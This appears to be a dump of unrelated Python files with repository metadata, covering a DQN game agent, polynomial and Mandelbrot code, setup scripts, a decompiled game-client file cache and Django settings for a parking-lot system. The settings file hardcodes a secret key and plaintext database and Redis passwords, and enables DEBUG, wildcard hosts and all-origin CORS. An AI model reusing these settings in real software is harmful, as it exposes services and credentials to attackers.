from distutils.extension import Extension
from Cython.Distutils import build_ext
import numpy as np
try:
numpy_include = np.get_include()
except AttributeError:
numpy_include = np.get_numpy_include()
ext_modules = [
Extension(
"sample1",
["sample1.pyx"],
include_dirs=[numpy_include]
)
]
setup(
name='sample1',
ext_modules=cythonize(ext_modules),
)
# ext_modules = [
# Extension( "sample1", ["sample1.pyx"] ),
# ]
# setup(
# name = "Sample sample1 app",
# cmdclass = { "build_ext" : build_ext },
# ext_modules = ext_modules,
# )
| [
"miyamotok0105@gmail.com"
] | miyamotok0105@gmail.com |
73a885c8935eb053011d613987cd0a93f87b0d0e | 8b7d6a22debf824294e3e556ec4f5049524bfb14 | /Polynomial/polynomial.py | 1cc82259356c84e861052efbcb1f9786782d627f | [] | no_license | djtsorrell/Intro-Python-OOP | cc46622e5d34b9b29209a9d19286253e04e6e902 | a3185f11a13b8ee035138eef13a3aa2a376794cd | refs/heads/master | 2023-03-04T17:01:55.212225 | 2021-02-15T17:19:44 | 2021-02-15T17:19:44 | 287,131,513 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,786 | py | from itertools import zip_longest
class Poly:
"""
A class to represent and manipulate polynomials.
Parameters
----------
coeff : list of float
List of coefficients for the polynomial.
Attributes
----------
coeff : list of float
List of coefficients for the polynomial.
"""
def __init__(self, coeff):
self.coeff = coeff
def __str__(self):
# Finds the index of the first non-zero value in the coefficients list.
idx = next((i for i, val in enumerate(self.coeff) if val != 0), None)
if idx == 0:
poly_string = f'{self.coeff[idx]} '
else:
poly_string = f'{self.coeff[idx]}x^{idx} '
for i, val in enumerate(self.coeff[(idx+1):], (idx+1)):
if val < 0:
poly_string += f'- {abs(val)}x^{i} '
elif val and i != 0:
poly_string += f'+ {val}x^{i} '
return 'P(x) = ' + poly_string
def __add__(self, other):
return Poly([sum(i) for i in zip_longest(self.coeff, other.coeff, fillvalue=0)])
def order(self):
"""Returns the order of the polynomial.
"""
return len(self.coeff)-1
def deriv(self):
"""Returns the derivative of the polynomial.
"""
poly_deriv = []
for i, val in enumerate(self.coeff):
poly_deriv.append(i*val)
# Removes the differentiated constant (which is always 0).
del poly_deriv[0]
return Poly(poly_deriv)
def anti_deriv(self):
"""Returns the integral of the polynomial.
"""
poly_anti_deriv = [0]
for i, val in enumerate(self.coeff):
poly_anti_deriv.append(round(val/(i+1.0), 2))
return Poly(poly_anti_deriv)
| [
"sorrelldominic9@gmail.com"
] | sorrelldominic9@gmail.com |
6a5f28424aac29934414b717667a4d6e93eb928a | 4bf1a2d4cb11d056030ea1ea8fa98fca737ece8c | /setup.py | 2938b39eb7b21602d0614bbbf5c2b9ff4b13314e | [
"BSD-3-Clause"
] | permissive | vicramr/consensuscluster | ed50716eefd7d0e8d31a25fc728f8a8d9bd06f73 | 959e842b6bd4bc5c24b49c516edc4d4d1e96071b | refs/heads/master | 2020-05-19T21:55:44.821305 | 2019-06-03T04:06:25 | 2019-06-03T04:06:25 | 185,236,163 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,164 | py | #! /usr/bin/env python
"""A Python implementation of consensus clustering."""
import codecs
import os
from setuptools import find_packages, setup
# get __version__ from _version.py
ver_file = os.path.join('consensuscluster', '_version.py')
with open(ver_file) as f:
exec(f.read())
DISTNAME = 'consensuscluster'
DESCRIPTION = 'A Python implementation of consensus clustering.'
with codecs.open('README.rst', encoding='utf-8-sig') as f:
LONG_DESCRIPTION = f.read()
MAINTAINER = 'Vicram Rajagopalan'
MAINTAINER_EMAIL = 'vicram.r@hotmail.com'
URL = 'https://github.com/vicramr/consensuscluster'
LICENSE = 'BSD-3-Clause'
DOWNLOAD_URL = 'https://github.com/vicramr/consensuscluster'
VERSION = __version__
INSTALL_REQUIRES = ['numpy', 'scipy', 'scikit-learn', 'scikit-image']
CLASSIFIERS = ['Intended Audience :: Science/Research',
'Intended Audience :: Developers',
'License :: OSI Approved',
'Programming Language :: Python',
'Topic :: Software Development',
'Topic :: Scientific/Engineering',
'Operating System :: Microsoft :: Windows',
'Operating System :: POSIX',
'Operating System :: Unix',
'Operating System :: MacOS',
'Programming Language :: Python :: 2.7',
'Programming Language :: Python :: 3.5',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7']
EXTRAS_REQUIRE = {
'tests': [
'pytest',
'pytest-cov'],
'docs': [
'sphinx',
'sphinx-gallery',
'sphinx_rtd_theme',
'numpydoc',
'matplotlib'
]
}
setup(name=DISTNAME,
maintainer=MAINTAINER,
maintainer_email=MAINTAINER_EMAIL,
description=DESCRIPTION,
license=LICENSE,
url=URL,
version=VERSION,
download_url=DOWNLOAD_URL,
long_description=LONG_DESCRIPTION,
zip_safe=False, # the package can run out of an .egg file
classifiers=CLASSIFIERS,
packages=find_packages(),
install_requires=INSTALL_REQUIRES,
extras_require=EXTRAS_REQUIRE)
| [
"vicram.r@hotmail.com"
] | vicram.r@hotmail.com |
75923154d02e8e140b61ff4649653b02ba3d84f9 | 3f4ab4ba2b99c967ebe9a36b69f61283694751a7 | /Tourn/migrations/0013_auto_20200608_2134.py | 10bf48ecf7839f5182143fceb110bffcabe5fe66 | [] | no_license | happyberry/Tournaments | f7f113b8bf069298243d5c942960472c1ae2afbb | 90e57c6b8e78213f445f6c29be45e58c0e497e85 | refs/heads/master | 2022-11-08T19:19:09.152070 | 2020-06-21T14:39:39 | 2020-06-21T14:39:39 | 267,960,830 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 716 | py | # Generated by Django 3.0.6 on 2020-06-08 19:34
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('Tourn', '0012_auto_20200608_2134'),
]
operations = [
migrations.AlterField(
model_name='game',
name='score',
field=models.IntegerField(blank=True, null=True),
),
migrations.AlterField(
model_name='game',
name='score1',
field=models.IntegerField(blank=True, null=True),
),
migrations.AlterField(
model_name='game',
name='score2',
field=models.IntegerField(blank=True, null=True),
),
]
| [
"j.tadej@wp.pl"
] | j.tadej@wp.pl |
60d34638bc1a71aec3b30bdb71943672f3a6594b | 88ed6ed99589f7fb8e49aeb6c15bf0d51fe14a01 | /026_removeDuplicates.py | 5e8dbfc5edb96029cb37d413ce206813159f712a | [] | no_license | ryeLearnMore/LeetCode | 3e97becb06ca2cf4ec15c43f77447b6ac2a061c6 | 04ec1eb720474a87a2995938743f05e7ad5e66e3 | refs/heads/master | 2020-04-07T19:02:43.171691 | 2019-06-23T15:09:19 | 2019-06-23T15:09:19 | 158,634,176 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 658 | py | #!/usr/bin/env python
#coding:utf-8
#@author: rye
#@time: 2019/2/18 17:15
'''
很快就写完了。。。算是最近写题最快的一个
'''
class Solution:
def removeDuplicates(self, nums):
"""
:type nums: List[int]
:rtype: int
"""
i = 0
j = 0
while j < len(nums):
if nums[j] == nums[i]:
j += 1
else:
nums[i + 1] = nums[j]
i += 1
j += 1
return len(nums[:i + 1])
if __name__ == '__main__':
nums1 = [0,0,0,1,1,1,2,2,3,3,4]
print(Solution().removeDuplicates(nums1)) | [
"noreply@github.com"
] | noreply@github.com |
752be920ca53c3c110792cae0eb771e213dad151 | f6e2c094567be508b0af0105be7b2f468a74079c | /agent.py | 0f2519d9fb31c7f621730d400ae4f545ae4d2f1a | [] | no_license | CPapageorgiou/Reinforcement-Learning-Pixelcopter-DQN | 5c7ed37331dd692df897fed6753847e413f2d33f | da61addb443e4350655fe91711e58182c2514add | refs/heads/main | 2023-08-17T09:14:48.915968 | 2021-09-21T14:11:04 | 2021-09-21T14:11:04 | 408,818,116 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,573 | py | import tensorflow as tf
from tensorflow import keras
from tensorflow.keras.models import Sequential, load_model
from tensorflow.keras.layers import Dense
from tensorflow.keras.optimizers import Adam
from tensorflow.keras.losses import Huber
from ple.games.pixelcopter import Pixelcopter
from ple import PLE
import numpy as np
import pygame
import datetime
from collections import deque
import random
import os
import matplotlib.pyplot as plt
np.random.seed(123)
random.seed(123)
tf.random.set_seed(1234)
# game environment
game = Pixelcopter(width=600, height=600)
env = PLE(game)
# parameters
epochs = 1000
epsilon = 1
discount = 0.999
eq_weights = 20
experience_replay = deque(maxlen = 5000)
batch_size = 30
rewards = []
time_steps_per_episode = []
def create_network():
model = Sequential()
model.add(Dense(20, input_dim=5, activation="relu"))
model.add(Dense(15, activation="relu"))
model.add(Dense(15, activation="relu"))
model.add(Dense(15, activation="relu"))
model.add(Dense(15, activation="relu"))
model.add(Dense(10, activation="relu"))
model.add(Dense(2, activation="linear"))
adam = Adam(lr = 0.05)
model.compile(loss=Huber(delta = 1.5), optimizer = adam, metrics = [keras.metrics.Accuracy()])
return model
model = create_network()
target_model = create_network()
# method for training the agent using DQN with experience replay and fixed target network.
def trainAgent(epochs, rewards, discount, epsilon, batch_size):
step = 0
for epoch in range(epochs):
print("epoch: ",epoch)
env.reset_game()
counter = 0
while (not env.game_over()):
step += 1
counter+=1
state = game.getGameState() # dictionary with 5 key-value pairs
state_arr = np.array([[state[k] for k in state]]) # stores the values of the dict in a numpy array
q = model.predict(state_arr) # q value for each action (up or do nothing).
action = choose_action(q)
# take the action and get the reward and the new state.
action_arr = env.getActionSet()
reward = env.act(action_arr[action])
new_state = game.getGameState()
newstate_arr = np.array([[new_state[k] for k in state]])
experience_replay.append((state_arr,action,reward,newstate_arr))
# check if the experience replay has enough elements to sample.
if len(experience_replay) < batch_size:
continue
# get a random sample from the experience replay buffer.
minibatch = random.sample (experience_replay, batch_size)
input_data = np.empty((0,5))
target_data = np.empty((0,2))
# use the minibatch to train te agent.
exp_rep(input_data, target_data, minibatch)
# equalise the weights of the training network and the target network after a fixed amount of steps.
if step % eq_weights == 0:
equalise_weights()
time_steps_per_episode.append(counter)
rewards.append(env.score())
epoch += 1
# epsilon decay.
if epsilon > 0.001:
epsilon -= (1/epochs)
if epoch % 100 == 0 and epoch!=0:
graphs(rewards, time_steps_per_episode, epoch)
# chooses action using epsilon-greedy policy.
def choose_action(q):
if (np.random.uniform() < epsilon):
action = np.random.randint(0,2)
else:
action = np.argmax(q[0])
return action
# trains the agent using experience replay, sampling from a minibatch.
def exp_rep(input_data, target_data, minibatch):
for sample in minibatch:
st, action, r, new_state = sample
target = target_model.predict(st)
if env.game_over():
target[0][action] = r
else:
# update the q-value of the current state using prediction for the next q-value from the target network.
target[0][action] = r + discount * np.max(target_model.predict(new_state))
input_data = np.append(input_data, st, axis=0)
target_data = np.append(target_data, target, axis=0)
# train the network using the input data and target data that have been collected through the for loop.
model.fit(input_data, target_data, epochs = 1, batch_size= batch_size, verbose = 2)
# sets the weights of the target network equal to those of the training network.
def equalise_weights():
weights = model.get_weights()
target_weights = target_model.get_weights()
for i in range(len(target_weights)):
target_weights[i] = weights[i]
target_model.set_weights(target_weights)
trainAgent(epochs, rewards, discount, epsilon, batch_size)
# saves the model and creates graphs for epochs over time steps and epochs over reward.
def graphs(rewards, time_steps_per_episode, epoch):
f = f"epoch_{epoch}_model_" + datetime.datetime.now().strftime("%d-%m-%Y %H:%M").replace(":", "+") + ".h5py"
model.save(f)
g = f"epoch_{epoch}_target_" + datetime.datetime.now().strftime("%d-%m-%Y %H:%M").replace(":", "+") + ".h5py"
target_model.save(g)
plt.plot(rewards)
plt.xlabel("Epochs")
plt.ylabel("Score")
plt.show(block=False)
plt.savefig(f"{epoch} epochs plot.png")
plt.clf()
plt.plot( time_steps_per_episode)
plt.xlabel("Epochs")
plt.ylabel(" time_steps")
plt.show(block=False)
plt.savefig(f"{epoch} epochs time steps plot.png")
plt.clf() | [
"chrisanorthosara@hotmail.com"
] | chrisanorthosara@hotmail.com |
7f071599e4a39af20a60059d04fd05dcdb5ac758 | 1eb99619f016fdea0be643674cdb4deb9b1b626e | /ParkingLot_full_stack/parking_lot/parking_lot/settings.py | 65a499e53c6e613e9f2ebc95a66cd75ff9ca8cf6 | [
"MIT"
] | permissive | Eduardo95/ParkingLot | 0ebee78eba0834d46879c1acbc1d978f4dd80f99 | bce9fd06694b0e16bcd57a175347f381f56a8089 | refs/heads/master | 2023-08-08T00:27:27.736079 | 2021-04-27T07:12:31 | 2021-04-27T07:12:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 7,251 | py | """
Django settings for parking_lot project.
Generated by 'django-admin startproject' using Django 2.1.2.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.1/ref/settings/
"""
import os
# import subprocess
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'yz-e%31oh49iux(ye9(d=739rtw#(m3$+h68i$96pzv)c5&s*!'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
# TODO: 要不要因为安全改成局域网特定几个 ip
ALLOWED_HOSTS = ["*"]
# docker-compose 指定环境变量:
# HOST_ROLE 分 'core'(核心服务器), 'outdoor_camera' 和 'indoor_camera'(车牌识别服务器)
host_role = os.getenv('HOST_ROLE') or 'core'
# 从 '1' 开始, e.g. 如果是二号入口就是 '2'
host_num = os.getenv('HOST_NUM') or '1'
# mongodb 和 redis 的主机名(docker-compose 的)/ip地址
db_host = os.getenv('DB_HOST') or 'db'
redis_host = os.getenv('REDIS_HOST') or 'redis'
# 如果是 localhost, 因为是跑在 docker 的容器使用的
# 虚拟网卡, 所以不能用 localhost
# 只在 Linux 环境测试过
if db_host == 'localhost':
# -1 用来移除后面奇怪的 '\n' newline char
db_host = os.popen(
"echo $(ip route show | awk '/default/ {print $3}')").read()[:-1]
if redis_host == 'localhost':
redis_host = os.popen(
"echo $(ip route show | awk '/default/ {print $3}')").read()[:-1]
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'mongoengine',
'parking_lot',
'channels',
# 停车场信息实时 websocket 更新
'parking_lot_realtime',
# 实时车牌识别
'HyperLPR',
# 把数据库作为一个单独的 instance app, 这样方便到时候
# 部署到树莓派上(因为树莓派不需要运行 http server)
'db_pool',
'corsheaders',
]
# 该 routing 只用于核心服务器
if host_role == 'core':
ASGI_APPLICATION = "parking_lot.routing.application" # 上面新建的 asgi 应用
else:
ASGI_APPLICATION = 'parking_lot.routing_cameras.application'
CHANNEL_LAYERS = {
'default': {
# 这里用到了 channels_redis
'BACKEND': 'channels_redis.core.RedisChannelLayer',
'CONFIG': {
# 'hosts': [('127.0.0.1', 6379)],
# docker-compose
# 'hosts': [('redis', 6379)],
# !!! `xwt97294597` is only a test password !!!
"hosts": ["redis://:xwt97294597@" + redis_host + ":6379/0"],
"symmetric_encryption_keys": [SECRET_KEY],
},
}
}
MONGODB_DATABASES = {
"default": {
"name": "db",
# "host": '127.0.0.1',
"host": db_host,
"tz_aware": True, # 设置时区
},
}
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.dummy'
}
}
from mongoengine import connect # noqa
# connect('db', host='127.0.0.1')
# 如果 docker-compose network 不是 host 模式的话
# 到时候 host 可能要改成核心服务器的 ip
# !!! This is only a test password !!!
# db 的名称原来叫 admin...
connect('admin', host=db_host, port=27017,
username='mongoadmin', password='xwt97294597')
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'corsheaders.middleware.CorsMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
# DCMMC: urls 路由表, 该路由只用于核心服务器
# 摄像头车牌识别外围服务器请使用 urls_cameras.py
# 并且外围服务器并不需要 http/ws server
if host_role == 'core':
ROOT_URLCONF = 'parking_lot.urls'
else:
ROOT_URLCONF = 'parking_lot.urls_cameras'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'db_frontend', 'dist'), ],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'parking_lot.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.1/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.' +
'UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.' +
'MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.' +
'CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.' +
'NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.1/howto/static-files/
STATIC_URL = '/static/'
STATIC_ROOT = os.path.join(BASE_DIR, 'static')
# Add for vuejs
STATICFILES_DIRS = [
os.path.join(BASE_DIR, "db_frontend", "dist", "static")
]
# -- dynamic content is saved to here --
MEDIA_ROOT = os.path.join(BASE_DIR, 'media')
MEDIA_URL = '/media/'
# 用来存放停车场 json 模型数据
MODELS_ROOT = os.path.join(BASE_DIR, 'models')
MODELS_URL = 'models'
NOT_FOUND_ROOT = os.path.join(BASE_DIR, '404')
CORS_ORIGIN_ALLOW_ALL = True
LOGIN_URL = '/login/index.html'
LOGIN_ROOT = os.path.join(BASE_DIR, 'login')
LOGIN_REDIRECT_URL = '/'
LOGOUT_REDIRECT_URL = '/'
# CELERY STUFF
# 到时候要改成核心服务器的 ip
CELERY_BROKER_URL = 'redis://:xwt97294597@' + redis_host + ':6379/0'
CELERY_RESULT_BACKEND = 'redis://:xwt97294597@' + redis_host + ':6379/0'
CELERY_ACCEPT_CONTENT = ['application/json']
CELERY_TASK_SERIALIZER = 'json'
CELERY_RESULT_SERIALIZER = 'json'
CELERY_TIMEZONE = 'Asia/Shanghai'
# !!! DCMMC: 只是为了调试方便
CORS_ORIGIN_ALLOW_ALL = True
CORS_ALLOW_CREDENTIALS = True
from corsheaders.defaults import default_headers # noqa
CORS_ALLOW_HEADERS = default_headers + (
'x-token',
)
| [
"xwt97294597@gmail.com"
] | xwt97294597@gmail.com |
cb62c894b9da32ff1434d2237515a58c24e7c6e4 | d7294d121a0a4778117096185f47507e6da85ea9 | /03 - Recursion/fibonacci.py | 9cd51a9b9a410fa7e03b8c04c354319fa4252389 | [
"MIT"
] | permissive | MarquezLuis96/CompThink_Python | ee0124c933a65959d07261c6a3affa68deccd52c | e8d3db42c5568c4fa1d6f4d6376a871b4bd3128e | refs/heads/main | 2023-01-20T05:57:20.122839 | 2020-11-23T22:27:16 | 2020-11-23T22:27:16 | 309,174,471 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,054 | py | # Date: 2020/11/16
# Author: Luis Marquez
# Description:
# A simple program to learn about fibonacci with recursion
# #
#fibo: This function is called when we will calculate the fibonacci serie
def fibo(iterations):
"""
This function calculate the fibonacci serie, calling itself many times iterations says
"""
if (iterations == 0 or iterations == 1):
return 1
else:
print(f"iteration = {iterations} -> {iterations - 1} + {iterations - 2} = {(iterations-1)+(iterations-2)}")
return (fibo(iterations-1) + fibo(iterations-2))
#run: On this function we will run all the function written on the program
def run():
"""
On this function we will run our functions
"""
iterations = int(input(f"\nType the number of iteration you want the program do: "))
print(f"\nThe number of fibonacci series corresponding to iteration {iterations} is {fibo(iterations)}\n")
#Main: Main function
if __name__ == "__main__":
"""
This is the main function
"""
run() | [
"englamc@gmail.com"
] | englamc@gmail.com |
d7a1256a63d48f75460c5afb5d1a56bfc3eb0fb0 | cda3eb3c2f13e02448125a2931eac769a32d85a7 | /Fractal/fractal.py | 936939ccba7eb745be57296b50c55fd17a35c910 | [] | no_license | VenomRo666/Python-Fundamentals | c3a36d7cf51472e066853dd8f8219128bce3b88a | 2a7b8659e3883afd685ec26eaa3d9ea78c752e6e | refs/heads/master | 2020-06-10T06:28:39.800730 | 2015-07-16T14:16:10 | 2015-07-16T14:16:10 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 995 | py | """ Computing Mandelbrot sets."""
import math
def mandel(real, imag):
""" Compute a point in the Mandelbrot.
The logarithm of number of iterations needed to
determine whether a complex point is in the
Mandelbrot set.
Args:
real: The real coordinate
imag: The imaginary coordinate
Returns:
An integer in the range 1-255
"""
x = 0
y = 0
for i in range(1, 257):
if x * x + y * y > 4.0:
break
xt = real + x * x - y * y
y = imag + 2.0 * x * y
x = xt
return int(math.log(i) * 256 / math.log(256)) - 1
def mandelbrot(size_x, size_y):
""" Make an Mandelbrot set image.
Args:
size_x: Image width
size_y: image height
Returns:
A list of lists of integers in the range of 0-255.
"""
return [[mandel((3.5 * x / size_x) - 2.5,
(2.0 * y / size_y) -1.0)
for x in range(size_x)]
for y in range(size_y)] | [
"johanvergeer@gmail.com"
] | johanvergeer@gmail.com |
b07f99a0807b1964ad81d8b566bd461031dd078d | 48832d27da16256ee62c364add45f21b968ee669 | /res/scripts/client/account_helpers/customfilescache.py | 76a90b18fe88817f3ac8604b079be904324562d0 | [] | no_license | webiumsk/WOT-0.9.15.1 | 0752d5bbd7c6fafdd7f714af939ae7bcf654faf7 | 17ca3550fef25e430534d079876a14fbbcccb9b4 | refs/heads/master | 2021-01-20T18:24:10.349144 | 2016-08-04T18:08:34 | 2016-08-04T18:08:34 | 64,955,694 | 0 | 0 | null | null | null | null | WINDOWS-1250 | Python | false | false | 18,439 | py | # 2016.08.04 19:47:56 Střední Evropa (letní čas)
# Embedded file name: scripts/client/account_helpers/CustomFilesCache.py
import os
import time
import base64
import urllib2
import cPickle
import BigWorld
import binascii
import threading
import BigWorld
from debug_utils import *
from functools import partial
from helpers import getFullClientVersion
from Queue import Queue
import shelve as provider
import random
_MIN_LIFE_TIME = 15 * 60
_MAX_LIFE_TIME = 24 * 60 * 60
_LIFE_TIME_IN_MEMORY = 20 * 60
_CACHE_VERSION = 2
_CLIENT_VERSION = getFullClientVersion()
def _LOG_EXECUTING_TIME(startTime, methodName, deltaTime = 0.1):
finishTime = time.time()
if finishTime - startTime > deltaTime:
LOG_WARNING('Method "%s" takes too much time %s' % (methodName, finishTime - startTime))
def parseHttpTime(t):
if t is None:
return
elif isinstance(t, int):
return t
else:
if isinstance(t, str):
try:
parts = t.split()
weekdays = ['mon',
'tue',
'wed',
'thu',
'fri',
'sat',
'sun']
months = ['jan',
'feb',
'mar',
'apr',
'may',
'jun',
'jul',
'aug',
'sep',
'oct',
'nov',
'dec']
tm_wday = weekdays.index(parts[0][:3].lower())
tm_day = int(parts[1])
tm_month = months.index(parts[2].lower()) + 1
tm_year = int(parts[3])
tm = parts[4].split(':')
tm_hour = int(tm[0])
tm_min = int(tm[1])
tm_sec = int(tm[2])
t = int(time.mktime((tm_year,
tm_month,
tm_day,
tm_hour,
tm_min,
tm_sec,
tm_wday,
0,
-1)))
except Exception as e:
LOG_ERROR(e, t)
t = None
return t
def makeHttpTime(dt):
try:
weekday = ['Mon',
'Tue',
'Wed',
'Thu',
'Fri',
'Sat',
'Sun'][dt.tm_wday]
month = ['Jan',
'Feb',
'Mar',
'Apr',
'May',
'Jun',
'Jul',
'Aug',
'Sep',
'Oct',
'Nov',
'Dec'][dt.tm_mon - 1]
t = '%s, %02d %s %04d %02d:%02d:%02d GMT' % (weekday,
dt.tm_mday,
month,
dt.tm_year,
dt.tm_hour,
dt.tm_min,
dt.tm_sec)
except Exception as e:
LOG_ERROR(e, dt)
t = None
return t
def getSafeDstUTCTime():
t = time.gmtime()
return int(time.mktime((t.tm_year,
t.tm_mon,
t.tm_mday,
t.tm_hour,
t.tm_min,
t.tm_sec,
t.tm_wday,
0,
-1)))
class NotModifiedHandler(urllib2.BaseHandler):
def http_error_304(self, req, fp, code, message, headers):
addinfourl = urllib2.addinfourl(fp, headers, req.get_full_url())
addinfourl.code = code
return addinfourl
class CFC_OP_TYPE():
DOWNLOAD = 1
READ = 2
WRITE = 3
CHECK = 4
class WorkerThread(threading.Thread):
def __init__(self):
super(WorkerThread, self).__init__()
self.input_queue = Queue(60)
self.__terminate = False
self.isBusy = False
def add_task(self, task):
callback = task['callback']
try:
self.input_queue.put(task, block=False)
except:
callback(None, None, None)
return
def close(self):
self.isBusy = False
self.__terminate = True
self.input_queue.put(None)
return
def run(self):
while True:
task = self.input_queue.get()
if task is None:
break
if self.__terminate:
break
try:
self.isBusy = True
type = task['opType']
if type == CFC_OP_TYPE.DOWNLOAD:
self.__run_download(**task)
elif type == CFC_OP_TYPE.READ:
self.__run_read(**task)
elif type == CFC_OP_TYPE.WRITE:
self.__run_write(**task)
elif type == CFC_OP_TYPE.CHECK:
self.__run_check(**task)
except:
LOG_CURRENT_EXCEPTION()
self.isBusy = False
self.input_queue.task_done()
self.input_queue.task_done()
return
def __run_download(self, url, modified_time, callback, **params):
startTime = time.time()
try:
fh = file = None
last_modified = expires = None
req = urllib2.Request(url)
req.add_header('User-Agent', _CLIENT_VERSION)
if modified_time and isinstance(modified_time, str):
req.add_header('If-Modified-Since', modified_time)
opener = urllib2.build_opener(NotModifiedHandler())
fh = opener.open(req, timeout=10)
headers = fh.info()
if hasattr(fh, 'code'):
code = fh.code
if code in (304, 200):
info = fh.info()
last_modified = info.getheader('Last-Modified')
expires = info.getheader('Expires')
if code == 200:
file = fh.read()
else:
opener = urllib2.build_opener(urllib2.BaseHandler())
fh = opener.open(req, timeout=10)
info = fh.info()
last_modified = info.getheader('Last-Modified')
expires = info.getheader('Expires')
file = fh.read()
if expires is None:
expires = makeHttpTime(time.gmtime())
else:
ctime = getSafeDstUTCTime()
expiresTmp = parseHttpTime(expires)
if expiresTmp > ctime + _MAX_LIFE_TIME or expiresTmp < ctime:
expires = makeHttpTime(time.gmtime(time.time() + _MAX_LIFE_TIME))
except urllib2.HTTPError as e:
LOG_WARNING('Http error. Code: %d, url: %s' % (e.code, url))
except urllib2.URLError as e:
LOG_WARNING('Url error. Reason: %s, url: %s' % (str(e.reason), url))
except Exception as e:
LOG_ERROR("Client couldn't download file.", e, url)
finally:
if fh:
fh.close()
_LOG_EXECUTING_TIME(startTime, '__run_download', 10.0)
callback(file, last_modified, expires)
return
def __run_read(self, name, db, callback, **params):
file = None
try:
startTime = time.time()
if db is not None and db.has_key(name):
file = db[name]
_LOG_EXECUTING_TIME(startTime, '__run_read')
except Exception as e:
LOG_WARNING("Client couldn't read file.", e, name)
callback(file, None, None)
return
def __run_write(self, name, data, db, callback, **params):
try:
startTime = time.time()
if db is not None:
db[name] = data
_LOG_EXECUTING_TIME(startTime, '__run_write', 5.0)
except:
LOG_CURRENT_EXCEPTION()
callback(None, None, None)
return
def __run_check(self, name, db, callback, **params):
res = False
try:
startTime = time.time()
if db is not None:
res = db.has_key(name)
_LOG_EXECUTING_TIME(startTime, '__run_check')
except:
LOG_CURRENT_EXCEPTION()
callback(res, None, None)
return
class ThreadPool():
def __init__(self, num = 8):
num = max(2, num)
self.__workers = []
for i in range(num):
self.__workers.append(WorkerThread())
def start(self):
for w in self.__workers:
w.start()
def close(self):
for w in self.__workers:
w.close()
self.__workers = []
def add_task(self, task):
if len(self.__workers) == 0:
return
type = task['opType']
if type in (CFC_OP_TYPE.WRITE, CFC_OP_TYPE.READ, CFC_OP_TYPE.CHECK):
self.__workers[0].add_task(task)
else:
workers = self.__workers[1:]
for w in workers:
if w.isBusy:
continue
w.add_task(task)
return
w = random.choice(workers)
w.add_task(task)
class CustomFilesCache(object):
def __init__(self):
prefsFilePath = unicode(BigWorld.wg_getPreferencesFilePath(), 'utf-8', errors='ignore')
self.__cacheDir = os.path.join(os.path.dirname(prefsFilePath), 'custom_data')
self.__cacheDir = os.path.normpath(self.__cacheDir)
self.__mutex = threading.RLock()
self.__cache = {}
self.__accessedCache = {}
self.__processedCache = {}
self.__written_cache = set()
self.__db = None
self.__prepareCache()
self.__worker = ThreadPool()
self.__worker.start()
self.__startTimer()
return
def close(self):
self.__worker.close()
self.__cache = {}
self.__accessedCache = {}
self.__processedCache = {}
self.__written_cache = set()
if self.__timer is not None:
BigWorld.cancelCallback(self.__timer)
self.__timer = None
if self.__db is not None:
startTime = time.time()
try:
self.__db.close()
except:
LOG_CURRENT_EXCEPTION()
_LOG_EXECUTING_TIME(startTime, 'close')
self.__db = None
return
def __startTimer(self):
self.__timer = BigWorld.callback(60, self.__idle)
def get(self, url, callback, showImmediately = False):
if callback is None:
return
else:
startDownload = True
if url in self.__processedCache:
startDownload = False
self.__processedCache.setdefault(url, []).append(callback)
if startDownload:
self.__get(url, showImmediately, False)
return
def __get(self, url, showImmediately, checkedInCache):
try:
ctime = getSafeDstUTCTime()
hash = base64.b32encode(url)
self.__mutex.acquire()
cache = self.__cache
if hash in cache:
data = cache[hash]
if data is None:
LOG_DEBUG('readLocalFile, there is no file in memory.', url)
self.__readLocalFile(url, showImmediately)
else:
self.__accessedCache[hash] = ctime
expires, creation_time, _, file, _, last_modified = data
expires = parseHttpTime(expires)
if expires is None:
LOG_ERROR('Unable to parse expires time.', url)
